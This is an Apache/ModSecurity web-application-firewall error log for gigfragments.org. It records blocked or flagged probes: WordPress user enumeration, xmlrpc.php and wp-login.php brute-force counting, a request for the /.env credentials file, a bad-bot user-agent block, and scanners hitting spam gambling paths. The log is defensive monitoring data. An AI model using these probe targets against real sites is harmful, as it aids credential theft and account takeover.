[Sat Apr 04 07:04:52.746102 2026] [:error] [pid 2458:tid 2511] [client 45.92.1.112:53822] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adBHlCNozic5SuWqcln0uQAAAEc"]
[Sat Apr 04 07:04:53.305355 2026] [:error] [pid 2458:tid 2504] [client 45.92.1.112:52911] [client 45.92.1.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adBHlSNozic5SuWqcln0vAAAAEA"]
[Sat Apr 04 09:04:31.954540 2026] [:error] [pid 2458:tid 2522] [client 177.162.23.119:57474] [client 177.162.23.119] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adBjnyNozic5SuWqclkZNgAAAFI"]
[Sat Apr 04 09:06:16.024145 2026] [:error] [pid 2458:tid 2520] [client 177.162.23.119:58643] [client 177.162.23.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.162.23.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adBkCCNozic5SuWqclkZoQAAAFA"]
[Sat Apr 04 09:07:42.756886 2026] [:error] [pid 2459:tid 2534] [client 177.162.23.119:59596] [client 177.162.23.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.162.23.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adBkXgefyCmu4LR_Plq5GQAAAIM"]
[Sat Apr 04 09:08:59.166022 2026] [:error] [pid 37114:tid 37134] [client 177.162.23.119:60318] [client 177.162.23.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.162.23.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adBkq8-DnSj3fGMexeLiBwAAARI"]
[Sat Apr 04 09:09:59.049044 2026] [:error] [pid 2567:tid 2589] [client 212.86.114.35:34156] [client 212.86.114.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.86.114.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adBk52JJmfRsTrAKjdTv4gAAAM8"]
[Sat Apr 04 09:10:00.715821 2026] [:error] [pid 2567:tid 2581] [client 212.86.114.35:34156] [client 212.86.114.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.86.114.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adBk6GJJmfRsTrAKjdTv7AAAAMc"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 04 09:10:11.198010 2026] [:error] [pid 37114:tid 37138] [client 177.162.23.119:61052] [client 177.162.23.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.162.23.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adBk88-DnSj3fGMexeLiiAAAARY"]
[Sat Apr 04 09:11:23.803894 2026] [:error] [pid 2459:tid 2547] [client 177.162.23.119:61961] [client 177.162.23.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.162.23.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adBlOwefyCmu4LR_Plq6ZwAAAI8"]
[Sat Apr 04 10:45:27.469496 2026] [:error] [pid 2458:tid 2518] [client 66.42.78.236:50734] [client 66.42.78.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.42.78.236, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adB7RyNozic5SuWqclk12QAAAE4"]
[Sat Apr 04 10:45:31.119597 2026] [:error] [pid 2457:tid 2484] [client 66.42.78.236:50748] [client 66.42.78.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.42.78.236, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adB7S0mNHppaMd92ZpeeUQAAAAc"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 04 12:30:39.523180 2026] [:error] [pid 2457:tid 2500] [client 43.167.241.46:41384] [client 43.167.241.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adCT70mNHppaMd92Zpe4qgAAABc"]
[Sat Apr 04 14:06:05.564463 2026] [:error] [pid 37114:tid 37135] [client 43.153.71.12:51138] [client 43.153.71.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adCqTc-DnSj3fGMexeKJNgAAARM"]
[Sat Apr 04 16:24:23.221729 2026] [:error] [pid 2567:tid 2578] [client 185.231.100.76:56758] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "adDKt2JJmfRsTrAKjdTk2gAAAMQ"]
[Sat Apr 04 16:24:25.168754 2026] [:error] [pid 2458:tid 2516] [client 185.231.100.76:60768] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "adDKuSNozic5SuWqclmYzAAAAEw"]
[Sat Apr 04 16:24:27.182167 2026] [:error] [pid 2458:tid 2527] [client 185.231.100.76:60782] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "adDKuyNozic5SuWqclmYzwAAAFc"]
[Sat Apr 04 16:24:29.176799 2026] [:error] [pid 37114:tid 37119] [client 185.231.100.76:60798] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "adDKvc-DnSj3fGMexeLnlgAAAQM"]
[Sat Apr 04 16:24:31.019597 2026] [:error] [pid 37114:tid 37132] [client 185.231.100.76:60808] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "adDKv8-DnSj3fGMexeLnogAAARA"]
[Sat Apr 04 16:24:32.999996 2026] [:error] [pid 2457:tid 2501] [client 185.231.100.76:55638] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "adDKwEmNHppaMd92ZpfxsgAAABg"]
[Sat Apr 04 16:24:34.974313 2026] [:error] [pid 37114:tid 37130] [client 185.231.100.76:55654] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "adDKws-DnSj3fGMexeLnswAAAQ4"]
[Sat Apr 04 16:24:36.825791 2026] [:error] [pid 2458:tid 2507] [client 185.231.100.76:55660] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "adDKxCNozic5SuWqclmY4gAAAEM"]
[Sat Apr 04 16:24:38.824760 2026] [:error] [pid 37114:tid 37117] [client 185.231.100.76:55676] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "adDKxs-DnSj3fGMexeLnxgAAAQE"]
[Sat Apr 04 16:24:40.815020 2026] [:error] [pid 2567:tid 2596] [client 185.231.100.76:55688] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "adDKyGJJmfRsTrAKjdTk5gAAANY"]
[Sat Apr 04 16:24:42.831442 2026] [:error] [pid 37114:tid 37123] [client 185.231.100.76:58390] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "adDKys-DnSj3fGMexeLn1gAAAQc"]
[Sat Apr 04 16:24:44.821872 2026] [:error] [pid 2459:tid 2548] [client 185.231.100.76:58404] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "adDKzAefyCmu4LR_PlpdyQAAAJA"]
[Sat Apr 04 16:24:46.841677 2026] [:error] [pid 2458:tid 2509] [client 185.231.100.76:58414] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "adDKziNozic5SuWqclmY6QAAAEU"]
[Sat Apr 04 16:24:48.841275 2026] [:error] [pid 37114:tid 37137] [client 185.231.100.76:58418] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "adDK0M-DnSj3fGMexeLn6AAAARU"]
[Sat Apr 04 16:24:50.839683 2026] [:error] [pid 2458:tid 2515] [client 185.231.100.76:58432] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "adDK0iNozic5SuWqclmY8gAAAEs"]
[Sat Apr 04 16:24:52.850011 2026] [:error] [pid 2457:tid 2477] [client 185.231.100.76:41536] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "adDK1EmNHppaMd92ZpfxwQAAAAA"]
[Sat Apr 04 16:24:54.851005 2026] [:error] [pid 2458:tid 2505] [client 185.231.100.76:41552] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "adDK1iNozic5SuWqclmY_gAAAEE"]
[Sat Apr 04 16:24:56.845872 2026] [:error] [pid 37114:tid 37137] [client 185.231.100.76:41566] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "adDK2M-DnSj3fGMexeLn7wAAARU"]
[Sat Apr 04 16:24:58.865570 2026] [:error] [pid 37114:tid 37131] [client 185.231.100.76:41582] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "adDK2s-DnSj3fGMexeLn8wAAAQ8"]
[Sat Apr 04 16:25:00.871778 2026] [:error] [pid 2459:tid 2549] [client 185.231.100.76:41588] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adDK3AefyCmu4LR_Plpd5QAAAJE"]
[Sat Apr 04 16:25:03.007744 2026] [:error] [pid 2567:tid 2581] [client 185.231.100.76:51266] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adDK32JJmfRsTrAKjdTlFgAAAMc"]
[Sat Apr 04 16:25:05.067966 2026] [:error] [pid 2567:tid 2589] [client 185.231.100.76:51278] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "adDK4WJJmfRsTrAKjdTlGAAAAM8"]
[Sat Apr 04 16:25:06.938882 2026] [:error] [pid 2457:tid 2492] [client 185.231.100.76:51286] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "adDK4kmNHppaMd92Zpfx2QAAAA8"]
[Sat Apr 04 16:25:08.919193 2026] [:error] [pid 2567:tid 2589] [client 185.231.100.76:51300] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "adDK5GJJmfRsTrAKjdTlIgAAAM8"]
[Sat Apr 04 16:25:10.916639 2026] [:error] [pid 2459:tid 2549] [client 185.231.100.76:51314] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "adDK5gefyCmu4LR_Plpd-QAAAJE"]
[Sat Apr 04 16:25:12.941008 2026] [:error] [pid 2459:tid 2551] [client 185.231.100.76:40396] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "adDK6AefyCmu4LR_PlpeAwAAAJM"]
[Sat Apr 04 16:25:14.942000 2026] [:error] [pid 37114:tid 37138] [client 185.231.100.76:40400] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "adDK6s-DnSj3fGMexeLoJgAAARY"]
[Sat Apr 04 16:25:16.941312 2026] [:error] [pid 2457:tid 2487] [client 185.231.100.76:40416] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "adDK7EmNHppaMd92Zpfx4AAAAAo"]
[Sat Apr 04 16:25:18.960735 2026] [:error] [pid 2459:tid 2539] [client 185.231.100.76:40424] [client 185.231.100.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "adDK7gefyCmu4LR_PlpeFQAAAIc"]
[Sat Apr 04 18:47:27.903299 2026] [:error] [pid 2459:tid 2542] [client 45.131.195.50:32093] [client 45.131.195.50] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "adDsPwefyCmu4LR_PlrDcgAAAIo"]
[Sat Apr 04 20:10:49.296475 2026] [:error] [pid 37114:tid 37131] [client 45.239.148.226:51496] [client 45.239.148.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.239.148.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adD_yc-DnSj3fGMexeIzfwAAAQ8"]
[Sat Apr 04 20:32:33.416838 2026] [:error] [pid 2459:tid 2544] [client 14.188.251.127:39985] [client 14.188.251.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.188.251.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adEE4QefyCmu4LR_PloOqAAAAIw"]
[Sat Apr 04 21:23:46.316432 2026] [:error] [pid 2458:tid 2527] [client 51.120.123.241:52076] [client 51.120.123.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "adEQ4iNozic5SuWqclkrUgAAAFc"]
[Sat Apr 04 22:12:21.653248 2026] [:error] [pid 2567:tid 2584] [client 94.103.87.20:48438] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adEcRWJJmfRsTrAKjdQ97QAAAMo"]
[Sat Apr 04 22:12:24.226759 2026] [:error] [pid 37114:tid 37117] [client 94.103.87.20:38242] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adEcSM-DnSj3fGMexeJR0wAAAQE"]
[Sat Apr 04 22:12:26.882289 2026] [:error] [pid 37114:tid 37119] [client 94.103.87.20:46078] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "adEcSs-DnSj3fGMexeJR1gAAAQM"]
[Sat Apr 04 22:12:29.401304 2026] [:error] [pid 63487:tid 63496] [client 94.103.87.20:46094] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "adEcTWpqOMD5fJ8_5q0PAQAAAUY"]
[Sat Apr 04 22:12:32.054802 2026] [:error] [pid 37114:tid 37121] [client 94.103.87.20:46106] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "adEcUM-DnSj3fGMexeJR4QAAAQU"]
[Sat Apr 04 22:12:34.702930 2026] [:error] [pid 37114:tid 37140] [client 94.103.87.20:46114] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "adEcUs-DnSj3fGMexeJR8AAAARg"]
[Sat Apr 04 22:12:37.207359 2026] [:error] [pid 63487:tid 63493] [client 94.103.87.20:46872] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "adEcVWpqOMD5fJ8_5q0PCQAAAUM"]
[Sat Apr 04 22:12:39.925829 2026] [:error] [pid 2458:tid 2515] [client 94.103.87.20:46882] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "adEcVyNozic5SuWqclk4ZQAAAEs"]
